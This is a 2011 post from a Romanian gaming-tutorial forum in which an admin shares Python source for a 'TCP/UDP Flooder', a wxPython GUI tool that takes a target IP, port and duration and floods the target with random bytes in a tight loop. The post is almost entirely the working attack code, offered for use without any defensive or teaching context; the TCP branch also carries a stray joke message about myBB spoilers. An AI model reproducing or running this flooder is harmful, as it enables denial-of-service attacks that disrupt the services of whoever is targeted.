Team BlueWater Game Online Tutorial's
Bine ati venit la Team-BlueWater!!Tutorial's 4 all Games!

[Sursa] TCP/UDP Flooder

View previous topic View next topic Go down

[Sursa] TCP/UDP Flooder

Post  Karma on Sun Jul 31, 2011 7:43 am

Code:
import random
from time import clock,sleep
import wx
import socket

class road(wx.Frame):
    def __init__(self, parent, id):
        wx.Frame.__init__(self, parent, id, 'Overload Version 1.0', size=(435,295))
        panel = wx.Panel(self)

        image_file = 'road.bmp'
        bmp = wx.Bitmap(image_file)
        self.bitmap = wx.StaticBitmap(self, wx.ID_ANY, bmp, (0, 0))

        panel2 = wx.Panel(self, size=(158,200), pos=(225,85))
        panel2.SetBackgroundColour("#D8BFD8")

        self.ipctrl = wx.TextCtrl(panel2, -1, '192.168.1.1', size=(132,-1), pos=(14,25))
       
        wx.StaticBox(panel2, -1, 'Settings', pos=(5, 5), size=(148,150))

        self.rb = wx.RadioButton(panel2, -1, 'TCP', (14,55), style=wx.RB_GROUP)
        self.rb2 = wx.RadioButton(panel2, -1, 'UDP', (92,55))

        wx.StaticText(panel2, -1, 'Time',(18,100))
        self.durctrl = wx.TextCtrl(panel2, -1, '30', size=(50,-1), pos=(14,120))

        wx.StaticText(panel2, -1, 'Port',(98,100))
        self.ptctrl = wx.TextCtrl(panel2, -1, '80', size=(50,-1), pos=(95,120))

        startbutton = wx.Button(panel2, -1, 'Start', size=(148,-1), pos=(5,160))
        self.Bind(wx.EVT_BUTTON, self.start, id=-1)

    def start(self, event):
        if self.rb.GetValue()==1:
            wx.MessageBox("[spoiler][spoiler=Spoiler] [/spoiler][/spoiler]\nThat's how you double spoiler in myBB.",'Starting...')
            self.onTCP()
        else:
            wx.MessageBox("The flooder is now starting.",'Starting...')
            self.onUDP()

    def onTCP(self):
        num_bytes = 200
        port = int(self.ptctrl.GetValue())
        ip = self.ipctrl.GetValue()
        dur = int(self.durctrl.GetValue())
        duration=clock()+dur

        global socket
       
        socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

        bytes=random._urandom(num_bytes)
        addr=(ip,port)
        socket.connect(addr)
        socket.settimeout(None)

        while True:
            if clock()<duration:
                socket.sendto(bytes,(ip,port))
            else:
                break
        wx.MessageBox("The flood is complete.",'Finished...')

    def onUDP(self):
        port = int(self.ptctrl.GetValue())
        ip = self.ipctrl.GetValue()
        dur = int(self.durctrl.GetValue())
        duration=clock()+dur
        sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        bytes=random._urandom(1024)

        while True:
            if clock()<duration:
                sock.sendto(bytes,(ip,port))               
            else:
                break
        wx.MessageBox("The flood is complete.",'Finished...')

if __name__ == '__main__':
    app=wx.PySimpleApp()
    frame = road(parent=None, id=-1)
    frame.Show()
    app.MainLoop()
avatar
Karma
Admin
Admin

Mesaje : 1092
Data de inscriere : 2011-04-22
Varsta : 26
Localizare : Craiova

View user profile http://team-bluewater.forumz.ro

Back to top Go down

View previous topic View next topic Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum